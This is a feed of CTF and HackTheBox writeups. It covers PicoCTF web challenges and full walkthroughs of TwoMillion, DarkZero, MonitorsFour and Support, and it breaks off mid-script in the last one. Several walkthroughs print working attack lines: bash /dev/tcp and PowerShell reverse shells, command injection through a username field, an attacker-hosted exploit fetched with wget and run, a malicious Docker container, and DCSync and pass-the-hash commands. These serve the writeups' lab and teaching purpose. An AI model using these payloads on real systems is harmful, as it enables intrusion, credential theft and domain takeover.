DEV Community: Yogeshwar Peela

PicoCTF Web Challenge Writeup: Hashgate

Yogeshwar Peela — Wed, 27 May 2026 07:04:57 +0000

Overview

We're given a web application with a login page. The goal is to find the flag hidden in another user's profile.

Category: Web Exploitation | Difficulty: Medium | Tools: Python, requests, hashlib, hashcat

Step 1 — Finding the Credentials

Looking at the login page HTML source, credentials were hidden in a comment:

<!-- Email: guest@picoctf.org Password: guest -->

Always check the page source — developers sometimes leave credentials in comments!

Step 2 — Logging In and Observing the URL

After logging in with guest@picoctf.org / guest, the app redirected to:

/profile/user/e93028bdc1aacdfb3687181f2031765d

The page showed:

Access level: Guest (ID: 3000). Insufficient privileges to view classified data.

The URL contains an MD5 hash. Let's figure out what it's a hash of.

Step 3 — Cracking the Hash

hashcat -m 0 e93028bdc1aacdfb3687181f2031765d /usr/share/wordlists/rockyou.txt

Result:

e93028bdc1aacdfb3687181f2031765d:3000

The hash is simply MD5 of the user ID (3000). This is a textbook IDOR vulnerability — the app uses a predictable, reversible identifier in the URL.

Step 4 — Exploiting the IDOR

Since my ID is 3000 and the app uses MD5(ID) in the URL, I can access any user's profile by computing their hash. I enumerated nearby IDs:

import requests
import hashlib

url_base = "http://crystal-peak.picoctf.net:<PORT>/profile/user/"
session = requests.Session()

session.post("http://crystal-peak.picoctf.net:58205/login", json={
    "email": "guest@picoctf.org",
    "password": "guest"
})

for uid in range(3000, 3031):
    md5 = hashlib.md5(str(uid).encode()).hexdigest()
    resp = session.get(url_base + md5)
    print(f"ID {uid} ({md5}): {resp.text[:100]}")
    if "picoCTF" in resp.text:
        print(f"[+] FLAG FOUND at ID {uid}!")
        break

Step 5 — Getting the Flag

One of the nearby IDs returned the flag:

picoCTF{...flag...}

Flag captured!

Vulnerability Summary

1. Credentials in HTML comment — The guest credentials were visible in plain page source, granting immediate account access to anyone who inspected the HTML.

2. IDOR via MD5 user ID — The URL uses MD5(user_id), which is predictable and trivially computable. Any authenticated user can enumerate all profiles.

3. Weak ID hashing — MD5 is not encryption. It's easily cracked with a wordlist or simply recomputed, providing no real access control.

What is IDOR?

Insecure Direct Object Reference (IDOR) is when an application uses user-controllable input to access objects directly without proper authorization checks. It's consistently in the OWASP Top 10 and one of the most common vulnerabilities found in bug bounty programs.

The key issue isn't the hash itself — it's that the server never verifies whether the requesting user is actually authorized to view that profile.

Lessons Learned

Never use MD5 (or any hash) as an access control mechanism. Hashes are not encryption — they are deterministic and predictable. Anyone who knows the pattern can compute the hash for any ID.
Use random UUIDs for profile URLs. A UUID like f47ac10b-58cc-4372-a567-0e02b2c3d479 can't be guessed or enumerated.
Enforce server-side authorization. Always verify the logged-in user has permission to view the requested resource — don't rely on obscurity in the URL.
Never leave credentials in HTML comments. Strip all debug info and hardcoded secrets before deploying to production.

PicoCTF Web Challenge Writeup: NO FA

Yogeshwar Peela — Wed, 27 May 2026 06:43:54 +0000

Overview

We're given a Flask web application with a login system and 2FA (Two-Factor Authentication). The goal is to log in as admin and retrieve the flag.

Category: Web Exploitation | Difficulty: Medium | Tools: hashcat, flask-unsign, sqlite3

Files provided:

app.py — Flask application source code
users.db — SQLite database with user credentials

Step 1 — Recon: Examining the Database

sqlite3 users.db

.mode column
.headers on
SELECT * FROM users;

Key observations:

admin is the only account with two_fa = 1
Admin uses a different domain (nfs.com vs nfa.com for regular users)
The admin password is stored as a SHA-256 hash: c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67

Step 2 — Cracking the Password Hash

The 64-character hash is SHA-256 (-m 1400 in hashcat):

hashcat -m 1400 c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67 /usr/share/wordlists/rockyou.txt

Result — cracked in under 5 seconds:

c20fa169...ab67:apple@123

Password: apple@123

Step 3 — Analyzing the 2FA Code

Looking at app.py, the OTP generation stood out immediately:

# OTP Generation
otp = str(random.randint(1000, 9999))  # Only 9000 possible values!
session['otp_secret'] = otp            # Stored in SESSION COOKIE
session['otp_timestamp'] = time.time()

# OTP Verification
if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:

Two critical vulnerabilities here:

Tiny keyspace — only 9,000 possible OTP values (1000–9999), trivially brute-forceable
OTP stored in the client-side session cookie — Flask session cookies are base64-encoded and fully readable without the secret key

Step 4 — Reading the OTP from the Session Cookie

After logging in with admin / apple@123, the server redirects to /two_fa and sets a session cookie. Grab it from Browser DevTools → Application → Cookies, then decode it:

pipx install flask-unsign
flask-unsign --decode --cookie "<cookie_value>"

Output:

{
  "logged": "false",
  "otp_secret": "1149",
  "otp_timestamp": 1779522221.27,
  "username": "admin"
}

The OTP (1149) is sitting right there in plaintext.

Flask signs cookies to prevent tampering — but it does not encrypt them. Anyone can read the contents without knowing the secret key.

Step 5 — Submitting the OTP

Navigated to /two_fa, entered 1149, and got:

Login successful!

Flag captured!

Vulnerability Summary

1. Weak password (apple@123) — Present in rockyou.txt, leads to full credential compromise.

2. OTP stored in unencrypted session cookie — The most critical flaw. The OTP is readable by any client without needing the server's secret key.

3. Small OTP keyspace (9,000 values) — Even without cookie access, this is brute-forceable in seconds.

4. No rate limiting on /two_fa — No protection against automated OTP guessing.

Lessons Learned

Never store secrets in Flask session cookies. They are signed, not encrypted. Use server-side sessions (Flask-Session with Redis or a database backend) to keep sensitive data off the client.
Use cryptographically secure OTP generation. Replace random.randint() with the secrets module — secrets.randbelow() or secrets.token_hex().
Enforce strong passwords. apple@123 should never pass any reasonable password policy. Use bcrypt or argon2 for hashing instead of raw SHA-256.
Adopt TOTP standards. Rolling your own OTP system is risky. Use TOTP (RFC 6238) with libraries like pyotp, compatible with Google Authenticator and Authy.

Thanks for reading! If you found this helpful, consider following for more CTF writeups.

PicoCTF Web Challenge Writeup: Failure Failure

Yogeshwar Peela — Wed, 27 May 2026 06:41:29 +0000

Overview

We're given two files — an HAProxy load balancer config and a Flask app. The goal is to retrieve the flag hidden on the backup server.

Category: Web Exploitation | Difficulty: Medium | Tools: Python, requests, HAProxy config analysis

Step 1 — Analyzing the HAProxy Config

backend servers
    option httpchk GET /
    http-check expect status 200
    server s1 *:8000 check inter 2s fall 2 rise 3
    server s2 *:9000 check backup inter 2s fall 2 rise 3

Key observations:

s1 (port 8000) is the primary server
s2 (port 9000) is the backup server — only used when s1 is down
Health check runs GET / every 2 seconds and expects HTTP 200
fall 2 means s1 is marked down after 2 consecutive failed health checks
rise 3 means s1 needs 3 successful checks to come back online

Step 2 — Analyzing the Flask App

if os.getenv("IS_BACKUP") == "yes":
    flag = os.getenv("FLAG")
else:
    flag = "No flag in this service"

The flag is only available on the backup server where IS_BACKUP=yes.

The real vulnerability is in the rate limiter:

limiter = Limiter(
    key_func=global_rate_limit_key,  # global limit, not per-IP!
    default_limits=["300 per minute"]
)

@app.errorhandler(429)
def ratelimit_exceeded(e):
    return "Service Unavailable: Rate limit exceeded", 503

When the rate limit is exceeded, the server returns 503 instead of 200 — which fails the HAProxy health check.

Step 3 — The Attack Plan

The chain of events we need to trigger:

Flood the primary server (s1) with 300+ requests per minute
s1 starts returning 503 due to rate limiting
HAProxy health check sees 503 (not 200) → marks s1 as down after 2 failures
HAProxy switches all traffic to the backup server s2
s2 has IS_BACKUP=yes → returns the flag

Step 4 — Exploit Script

import requests
from concurrent.futures import ThreadPoolExecutor

url = "http://CHALLENGE_URL/"

def send():
    try:
        return requests.get(url, timeout=5)
    except:
        pass

# Flood s1 to trigger rate limiting
print("[*] Flooding primary server...")
with ThreadPoolExecutor(max_workers=50) as ex:
    futures = [ex.submit(send) for _ in range(400)]

# Now fetch — should hit backup server
print("[*] Fetching flag from backup server...")
resp = requests.get(url)
print(resp.text)

Step 5 — Getting the Flag

After flooding the primary server, the next request routes to the backup:

picoCTF{...flag...}

Flag captured!

Vulnerability Summary

1. Global rate limiter — Shared across all users, not per-IP. Any single user can exhaust the limit for everyone, triggering system-level side effects.

2. HAProxy health check fails on 503 — An attacker can deliberately trigger 503s to force failover to the backup server.

3. Flag on backup server — Placing sensitive data on a "backup" assuming it won't be reached is a false assumption. All servers in a cluster must be treated as equally reachable.

Lessons Learned

Never put sensitive data exclusively on a backup server. The assumption that it won't be reached under normal conditions is exactly what an attacker will exploit.
Use per-IP rate limiting. Global limits let a single user starve everyone else and trigger system-level side effects like this failover.
Health check endpoints should be rate-limit exempt. Mixing health checks with user-facing rate limiting creates an unintended control surface for attackers.
All servers in a cluster are attack surface. Design every node as if it could be directly targeted.

Thanks for reading! If you found this helpful, consider following for more CTF writeups.

HackTheBox - TwoMillion: A Complete Walkthrough

Yogeshwar Peela — Wed, 27 May 2026 06:22:18 +0000

Overview

TwoMillion is a nostalgic HackTheBox machine themed around the old HTB platform. The attack chain involves reverse-engineering obfuscated JavaScript to discover invite code logic, abusing a broken access control vulnerability in the API to escalate privileges to admin, and exploiting an unsanitized username parameter to gain Remote Code Execution. Privilege escalation to root leverages CVE-2023-0386, an OverlayFS/FUSE kernel vulnerability.

Difficulty: Easy | OS: Linux | Tags: Web, API Abuse, Command Injection, Kernel Exploit

1. Reconnaissance

nmap -sC -sV -A <MACHINE-IP>

Results:

Port 22 — SSH (OpenSSH 8.9)
Port 80 — HTTP (nginx)

The HTTP server redirects to http://2million.htb/. Add it to /etc/hosts:

echo "<MACHINE-IP> 2million.htb" | sudo tee -a /etc/hosts

2. Enumeration

The site requires an invite code to register. Directory fuzzing with feroxbuster reveals:

feroxbuster -u http://2million.htb

Key findings:

/invite — invite code entry page
/js/inviteapi.min.js — client-side invite logic
/api/v1/user/login and /api/v1/user/register — API endpoints

3. Getting the Invite Code

3.1 Deobfuscating the JavaScript

curl -X GET http://2million.htb/js/inviteapi.min.js

The script uses a common eval-based packing technique. After deobfuscation, two functions are revealed:

makeInviteCode() — POSTs to /api/v1/invite/how/to/generate
verifyInviteCode(code) — POSTs to /api/v1/invite/verify

3.2 Generating the Code

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

Response:

{
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
    "enctype": "ROT13"
  }
}

Decode the ROT13:

echo "Va beqre gb trarengr..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# In order to generate the invite code, make a POST request to /api/v1/invite/generate

Generate the code:

curl -X POST http://2million.htb/api/v1/invite/generate | jq

Decode the Base64 result:

echo "VUtMWEMtNk5TTjAtVDkxNU4tVVY4WUE=" | base64 -d
# UKLXC-6NSN0-T915N-UV8YA

Use this code to register an account at /invite.

4. API Enumeration & Privilege Escalation (Web)

After logging in, enumerate the full API route list:

curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=<your-session>" | jq

Admin endpoints discovered:

GET /api/v1/admin/auth — Check if current user is admin
PUT /api/v1/admin/settings/update — Update user settings
POST /api/v1/admin/vpn/generate — Generate VPN for any user

4.1 Escalating to Admin

curl -X PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=<your-session>" \
  --header "Content-Type: application/json" \
  -d '{"email": "john@email.com", "is_admin": 1}'

Response confirms admin escalation:

{"id": 13, "username": "john", "is_admin": 1}

This is a classic Broken Access Control vulnerability — the API trusts user-supplied input to set privilege levels with no server-side authorization check.

5. Remote Code Execution via Command Injection

The admin VPN generation endpoint passes the username parameter to a system command without sanitization:

curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=<your-session>" \
  --header "Content-Type: application/json" \
  --data '{"username": "john;whoami;"}'
# www-data

We have RCE. Set up a listener and send a reverse shell:

# Listener
pwncat-cs -lp 4444

# Payload
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=<your-session>" \
  --header "Content-Type: application/json" \
  --data "{\"username\":\"john;bash -c 'bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1'\"}"

Shell received as www-data.

6. Lateral Movement: www-data → admin

Enumerating the web root reveals a .env file with hardcoded database credentials:

cat /var/www/html/.env

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Testing password reuse over SSH:

ssh admin@2million.htb
# Password: SuperDuperPass123

User flag obtained at ~/user.txt

7. Privilege Escalation: CVE-2023-0386

7.1 Finding the Lead

Logging in via SSH shows an interesting banner:

You have mail.

The mail at /var/mail/admin contains a message warning about a serious kernel vulnerability in OverlayFS / FUSE.

7.2 Confirming Kernel Version

uname -a
# Linux 2million 5.15.70-051570-generic #202209231339 ...

Kernel 5.15.70 falls within the vulnerable range for CVE-2023-0386 — an OverlayFS privilege escalation that allows creating SUID binaries through overlay filesystem manipulation.

7.3 Exploitation

Compile the PoC on the attacker machine:

apt install libfuse-dev
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl

Serve it to the target:

python3 -m http.server 8000

On the victim:

wget http://<ATTACKER-IP>:8000/poc
chmod +x poc
./poc

root@2million:/tmp# whoami
root

Root flag obtained at /root/root.txt

8. Attack Chain Summary

Step	Action
Reconnaissance	Nmap revealed HTTP on port 80
Enumeration	feroxbuster found invite API and JS file
Invite Code	Deobfuscated JS → ROT13 → Base64 → valid code
API Abuse	Discovered admin endpoints while authenticated
Broken Access Control	Set is_admin: 1 via PUT request
Command Injection	Unsanitized username → reverse shell as www-data
Lateral Movement	.env credentials reused for SSH as admin
Privilege Escalation	CVE-2023-0386 OverlayFS exploit → root

9. Key Vulnerabilities

1. Client-Side Invite Logic — Invite generation logic exposed in obfuscated JavaScript.

2. Broken Access Control — Users can escalate privileges by supplying is_admin: 1 in API requests.

3. Command Injection — Unsanitized username parameter passed directly to a system command.

4. Hardcoded Credentials — .env file exposes database credentials in the web root.

5. Password Reuse — Same credentials used for both the database and SSH.

6. CVE-2023-0386 — Unpatched kernel vulnerable to OverlayFS privilege escalation.

Thanks for reading! If you found this helpful, consider following for more HTB writeups.

HackTheBox: DarkZero Writeup

Yogeshwar Peela — Wed, 27 May 2026 06:18:28 +0000

Introduction

Active Directory environments are prime targets for attackers, yet they remain complex systems with multiple purported layers of security. The DarkZero assessment examined a multi-domain AD environment where a single MSSQL misconfiguration led to complete domain takeover.

This case study demonstrates how trust relationships, misconfigurations, and unpatched kernel vulnerabilities can chain together to compromise an entire Active Directory forest.

Attack Path: IDOR → Credential Disclosure → Cacti RCE → Container Escape → Docker API Abuse → Root

Reconnaissance

Standard nmap scan to start:

nmap -sC -sV -A <MACHINE_IP> -oA nmap-DarkZero

Key services discovered:

Port 53 — DNS
Port 88 — Kerberos
Port 135, 445 — RPC, SMB
Port 389, 636 — LDAP
Port 1433 — Microsoft SQL Server 2022

The critical discovery was DNS enumeration:

dig @DC01.darkzero.htb any darkzero.htb

This revealed the domain controller had both internal (172.16.20.x) and external (10.129.x.x) IP addresses, indicating network segmentation — relevant for pivoting later.

Initial Access: Exploiting MSSQL and Linked Servers

Leaked credentials for a low-privileged user provided initial MSSQL access:

impacket-mssqlclient darkzero.htb/john.w:'RFulUtONCOL!'@dc01.darkzero.htb -windows-auth

The user account had limited permissions, and xp_cmdshell was disabled on DC01. However, linked server enumeration revealed a critical misconfiguration:

Linked Server: DC02.darkzero.ext
Login Mapping: dc01_sql_svc

The MSSQL server had a linked server connection to another domain (DC02) with remote login enabled using a service account. This login mapping bypassed the restrictions on the low-privileged john.w account.

By switching to the linked server, authentication automatically occurred as the elevated service account on DC02:

use_link "DC02.darkzero.ext"
enable_xp_cmdshell

This trust abuse allowed privilege escalation from a restricted user on DC01 to a service account with administrative capabilities on DC02.

Remote Code Execution: The PowerShell Payload

With xp_cmdshell enabled on DC02, a stable reverse shell was needed. The approach used Base64-encoded PowerShell with UTF-16LE encoding:

$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER-IP>',4443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex ". { $data } 2>&1" | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
}
$client.Close()

Encode with UTF-16LE:

iconv -f utf-8 -t utf-16le shell.ps1 | base64 -w 0

Execute through MSSQL:

EXEC xp_cmdshell 'powershell -nop -w hidden -e BASE64_PAYLOAD'

Shell received:

listening on [any] 4443 ...
connect to [10.10.14.241] from (UNKNOWN) [10.129.18.16] 53873
PS C:\Windows\system32>

Initial foothold on DC02 confirmed!

Privilege Escalation: CVE-2024-30088

System enumeration using winpeas.exe revealed the target was vulnerable to CVE-2024-30088 — a kernel-level TOCTOU (Time-of-Check-Time-of-Use) vulnerability in Windows Server 2022.

The reverse shell was upgraded to a Meterpreter session for stability:

use exploit/windows/local/cve_2024_30088_authz_basep
set session <ID>
exploit

Result:

[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 956
[*] Meterpreter session 13 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

SYSTEM on DC02!

Lateral Movement: Coercing DC01 Authentication

DC02 was fully compromised, but DC01 remained the ultimate objective. The goal: force DC01 to authenticate to DC02 over SMB and capture the resulting Kerberos ticket.

Deploy Rubeus on DC02 in monitor mode:

Rubeus.exe monitor /inspect:10 /nowrap

From the MSSQL session, trigger authentication coercion:

xp_dirtree \\DC02.darkzero.ext\coerce_share

This forced DC01 to attempt authentication to a non-existent SMB share on DC02. Rubeus captured the resulting TGT:

User: DC01$@DARKZERO.HTB
StartTime: 4/2/2026 11:22:39 AM
EndTime: 4/2/2026 9:22:38 PM
Flags: name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket: doIFjDCCBYi...

Kerberos Abuse: From Ticket to Domain Compromise

Convert the Base64 ticket to .kirbi format:

echo "<TICKET>" > ticket.b64
base64 -d ticket.b64 > ticket.kirbi

Convert to .ccache format for impacket:

impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

With the TGT loaded, perform a DCSync attack impersonating DC01$:

impacket-secretsdump -k -no-pass -just-dc -target-ip 10.129.18.16 'darkzero.htb/DC01$@DC01.darkzero.htb'

Result — Administrator NTLM hash extracted:

Administrator:500:aa...3504ee:5917...0726:::

Post-Exploitation: Pass-the-Hash

With the Administrator NTLM hash, authenticate directly without a plaintext password:

evil-winrm -i 10.129.18.16 -u administrator -H '5917...0726'

Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

root.txt
user.txt

Root flag captured! Full domain compromise confirmed.

Attack Chain Summary

Step	Action
Reconnaissance	Nmap revealed MSSQL on port 1433
Initial Access	john.w creds → MSSQL login → linked server enum
Trust Abuse	Switched to DC02 as dc01_sql_svc, enabled xp_cmdshell
RCE	Base64 PowerShell payload → reverse shell on DC02
Privilege Escalation	CVE-2024-30088 → NT AUTHORITY\SYSTEM
Lateral Movement	xp_dirtree coercion → captured DC01$ TGT via Rubeus
Kerberos Abuse	.kirbi → .ccache → authenticated as DC01$
Domain Compromise	DCSync → Administrator NTLM hash extracted
Post-Exploitation	Pass-the-Hash → Administrator shell on DC01

Key Vulnerabilities

1. MSSQL Linked Server Trust Misconfiguration — Cross-server pivoting via login mapping abuse.

2. xp_cmdshell Enabled on Linked Server — Arbitrary command execution across domains.

3. CVE-2024-30088 (Kernel TOCTOU) — Privilege escalation to SYSTEM on unpatched Windows Server 2022.

4. Unrestricted Trust Between DC01 and DC02 — Enabled cross-domain Kerberos abuse.

5. Authentication Coercion via xp_dirtree — Forced machine account TGT capture.

6. DCSync Permissions Not Restricted — Allowed full AD database extraction.

7. NTLM Protocol Allowed — Enabled Pass-the-Hash attacks.

Defensive Countermeasures

MSSQL Hardening

Disable xp_cmdshell by default
Restrict linked server creation to administrators only
Use least-privilege service accounts
Monitor linked server queries and remote logins

Active Directory Security

Restrict DCSync permissions to authorized backup accounts only
Monitor for unusual Kerberos ticket requests
Implement SID filtering on domain trusts
Monitor for authentication coercion (unusual SMB requests from DCs)

Endpoint Protection

Apply security patches promptly (CVE-2024-30088)
Implement kernel-level protections and driver signing

Detection and Monitoring

Alert on xp_cmdshell execution
Monitor for Rubeus or similar ticket monitoring tools
Track SMB requests to non-existent shares from domain controllers
Detect DCSync requests outside normal backup windows

Network Segmentation

Isolate domain controllers on separate VLANs
Restrict MSSQL traffic between domains
Implement firewall rules between domain boundaries

Lessons Learned

Trust relationships are dangerous — The link between DC01 and DC02 was the critical pivot point. Even in a multi-domain environment, trusts need careful governance.
Service accounts matter — The dc01_sql_svc login mapping was a significant privilege escalation opportunity. Service accounts should have minimal permissions.
Chaining vulnerabilities is powerful — No single issue was critical by itself. The combination created a perfect storm.
Kerberos tickets are powerful — A TGT for DC01$ enables DCSync without needing a plaintext password.
Patch promptly — CVE-2024-30088 had patches available. Unpatched kernel vulnerabilities are a critical risk.

Conclusion

The DarkZero engagement demonstrates a critical principle in Active Directory security: chained misconfigurations are more dangerous than isolated vulnerabilities.

For defenders: Audit all MSSQL linked servers and remove those not explicitly required. Apply security patches promptly. Implement least-privilege access controls and restrict DCSync permissions. Monitor for unusual authentication patterns, particularly machine account abuse and SMB coercion attempts.

References

HTB: MonitorsFour - Full Walkthrough

Yogeshwar Peela — Wed, 27 May 2026 04:54:03 +0000

Introduction

If you've been grinding HTB long enough, you start recognizing a pattern: one small oversight compounds into another until the entire system is wide open. MonitorsFour is a textbook example of that. No single vulnerability here is exotic — but chained together, they hand you full control of the host. Let's walk through it.

Difficulty: Medium | OS: Windows | Platform: Hack The Box

Attack Path: IDOR → Credential Disclosure → Cacti RCE → Container Escape → Docker API Abuse → Root

Reconnaissance

Standard nmap scan to start:

nmap -sCV -T4 -A <Target_IP> -o filename

Two ports of interest came back:

Port 80/tcp — HTTP (nginx)
Port 5985/tcp — WinRM (Windows Remote Management)

The website itself had nothing obviously useful on the surface. Time to dig deeper.

Enumeration

Directory Fuzzing

Running ffuf against the web root to find hidden endpoints:

ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://monitorsfour.htb/FUZZ -ac

A /user endpoint surfaced. Navigating to it returned an error — a token parameter was expected.

The IDOR Vulnerability

Here's where it gets interesting. I tried the simplest possible value: token=0. It worked.

This is a classic IDOR (Insecure Direct Object Reference) — the backend assigned tokens as sequential integers and performed no ownership validation whatsoever. Passing token=0 returned the first user's data, no authentication required.

The exposed data included password hashes. Those hashes? Unsalted MD5 — trivially crackable using CrackStation. Within seconds, valid credentials were in hand.

Virtual Host Enumeration

The cracked credentials didn't work on the main site. With WinRM also open, it was worth checking for additional virtual hosts:

ffuf -u http://monitorsfour.htb -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/dirb/wordlists/big.txt -ac

A subdomain appeared: cacti.monitorsfour.htb. Added it to /etc/hosts and navigated over.

Always check for virtual hosts — they're often where the real attack surface hides.

Gaining Access to Cacti

The login page came up. Trying admin / wonderful1 failed — username mismatch. But the IDOR endpoint had leaked the administrator's full name (Marcus Higgins) and email address. Trying a few variations of the name, marcus / wonderful1 succeeded.

Exploitation

Identifying the CVE

The Cacti version was displayed openly on the dashboard: Cacti 1.2.28

A quick search surfaced CVE-2025-24367 — a critical authenticated RCE vulnerability affecting Cacti ≤ 1.2.28. The flaw lies in the Graph Template functionality, where user-supplied input is passed to rrdtool without proper sanitisation, enabling command injection.

Setting Up the Exploit

A public PoC was available. Clone it:

git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
cd CVE-2025-24367-Cacti-PoC

Start a listener on port 4444:

nc -lnvp 4444

Then fire the exploit:

sudo python3 exploit.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.14.145 -l 4444

Shell Received

A reverse shell landed as www-data inside the Cacti web directory — initial foothold confirmed.

User Flag

Basic enumeration of /home revealed a directory for marcus. The user.txt file inside was world-readable:

ls -la /home
ls /home/marcus
cat /home/marcus/user.txt

User flag captured!

Privilege Escalation

Recognizing the Container

The system hostname was a hex string — the kind Docker assigns to containers. No sudo available either. Checking the network:

IP in the 172.18.0.0/16 range
Default gateway 172.18.0.1

This was a Docker container. The escalation objective shifted: escape the container and reach the host.

Finding the Host IP

/etc/resolv.conf in containerized environments is auto-generated by the Docker engine and often reveals the host-side IP. Checking it disclosed the Docker host IP: 192.168.65.7.

Unauthenticated Docker API

Port 2375 is the classic Docker Remote API port. Testing:

curl http://192.168.65.7:2375/version

No auth prompt. No TLS. The daemon just… answered.

An exposed Docker API without auth lets you:

Create containers with arbitrary mounts
Run in privileged mode
Bypass host kernel protections entirely

Enumerating Available Images

curl http://192.168.65.7:2375/images/json | grep "RepoTags:\[[^]]*\]"

Several locally cached images were available. Using an existing image (docker_setup-nginx-php:latest) avoids pulling anything new — quieter, and more reliable in restricted environments.

Creating the Malicious Container

Create container.json on the attacking machine:

{
  "Image": "docker_setup-nginx-php:latest",
  "Cmd": [
    "/bin/bash",
    "-c",
    "bash -i >& /dev/tcp/<tun-ip>/9999 0>&1"
  ],
  "HostConfig": {
    "Binds": [
      "/mnt/host/c:/host_root"
    ]
  }
}

In this HTB lab environment (WSL2-based), the Windows host filesystem is exposed at /mnt/host/c from within Linux containers.

Serve the file from the attacking machine:

python3 -m http.server 8000

Fetch it from within the existing shell:

curl http://<tun-ip>:8000/container.json -o container.json

Create the container via the API:

curl -H "Content-Type: application/json" -d @container.json \
  http://192.168.65.7:2375/containers/create?name=pwned

Start a listener:

nc -lnvp 9999

Start the container:

curl -X POST http://192.168.65.7:2375/containers/pwned/start

Root Flag

A shell arrived with full access to the host filesystem via /host_root:

ls /host_root/Users/Administrator/Desktop/
cat /host_root/Users/Administrator/Desktop/root.txt

Root flag captured!

Attack Chain Summary

Step	Action
Reconnaissance	Nmap revealed HTTP and WinRM
IDOR	token=0 exposed admin credentials
Hash Cracking	Unsalted MD5 cracked via CrackStation
Vhost Enumeration	Discovered cacti.monitorsfour.htb
Cacti Login	Credentials reused successfully
RCE	CVE-2025-24367 gave www-data shell
Container Escape	Unauthenticated Docker API on port 2375
Root	Mounted host filesystem via malicious container

Lessons Learned

MonitorsFour isn't a box that requires exotic techniques. Every step in this chain is a well-documented, preventable misconfiguration:

1. IDOR with sequential tokens — Always validate that the authenticated user owns the resource being requested. Token values should be non-sequential (UUIDs), and ownership must be checked server-side on every request.

2. Unsalted MD5 for passwords — MD5 was never appropriate for password storage, and without a salt it's instantly reversible. Use bcrypt, scrypt, or Argon2 with a unique per-user salt.

3. Unpatched software — CVE-2025-24367 had patches available. Cacti 1.2.28 should not have been running in any internet-facing or networked context.

4. Unauthenticated Docker API — Exposing the Docker daemon on port 2375 without TLS mutual authentication is equivalent to giving any user on the network a root shell. If the Remote API is needed at all, it must be locked down with certificates and network-level controls.

Conclusion

The takeaway: defense in depth matters. Any one of these issues in isolation is manageable. Together, they resulted in full host compromise from a single unauthenticated HTTP request.

From Credentials to Domain Admin: Support Machine Writeup

Yogeshwar Peela — Wed, 27 May 2026 04:35:34 +0000

Introduction

The HackTheBox "Support" machine is a masterclass in realistic Active Directory exploitation. It demonstrates how a single exposed credential can cascade through misconfigured permissions, ultimately leading to complete domain compromise.

In this writeup, we'll walk through the complete attack chain: from initial reconnaissance to extracting both the user and root flags. Along the way, we'll uncover vulnerabilities in SMB access controls, weak credential storage, and dangerous Active Directory delegation configurations.

1. Reconnaissance: Mapping the Target

Let's start by identifying what's running on the machine with Nmap:

nmap -sC -sV -A <MACHINE-IP>

Key Findings:

Port 53: DNS (Simple DNS Plus)
Port 88: Kerberos
Port 135/445: Windows RPC and SMB
Port 389/3268: LDAP (Active Directory)
Port 5985: WinRM (Windows Remote Management)

This is clearly a Windows Active Directory domain controller. The LDAP output reveals the domain name: support.htb

dig @<MACHINE-IP> support.htb any
echo "<MACHINE-IP> support.htb dc.support.htb" | sudo tee -a /etc/hosts

2. SMB Enumeration: Finding the Weak Link

smbclient -L <MACHINE-IP>

Sharename         Type      Comment
─────────────────────────────────────
ADMIN$            Disk      Remote Admin
C$                Disk      Default share
IPC$              IPC       Remote IPC
NETLOGON          Disk      Logon server share
support-tools     Disk      support staff tools
SYSVOL            Disk      Logon server share

Most shares are protected, but there's a custom share: support-tools — accessible to everyone.

2.1 Downloading from the Support-Tools Share

smbclient //<MACHINE-IP>/support-tools -N
smb: \> ls

Files found:

7-ZipPortable_21.07.paf.exe
npp.8.4.1.portable.x64.zip
putty.exe
SysinternalsSuite.zip
UserInfo.exe.zip ← Suspicious
windirstat1_1_2_setup.exe
WiresharkPortable64_3.6.5.paf.exe

smb: \> get UserInfo.exe.zip
unzip UserInfo.exe.zip

3. Initial Foothold: Extracting Hidden Credentials

3.1 Identifying the Binary Type

file UserInfo.exe
# Output: PE32 executable (console) Intel 80386 Mono/.Net assembly

This is a 32-bit .NET application — easily decompiled back to source code.

3.2 Decompiling the Application

ilspycmd UserInfo.exe > output.cs

After analyzing the decompiled code, we discover something critical:

private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");

public static string getPassword()
{
    byte[] array = Convert.FromBase64String(enc_password);
    byte[] array2 = array;
    for (int i = 0; i < array.Length; i++)
    {
        array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
    }
    return Encoding.Default.GetString(array2);
}

What we found:

Hardcoded Base64-encoded password
XOR encryption key: armando
Additional XOR constant: 0xDF

3.3 Decrypting the Password

#!/usr/bin/env python3
import base64
import sys

def decrypt_xor(enc_password, key, xor_constant=0xDF):
    if isinstance(key, str):
        key = key.encode()
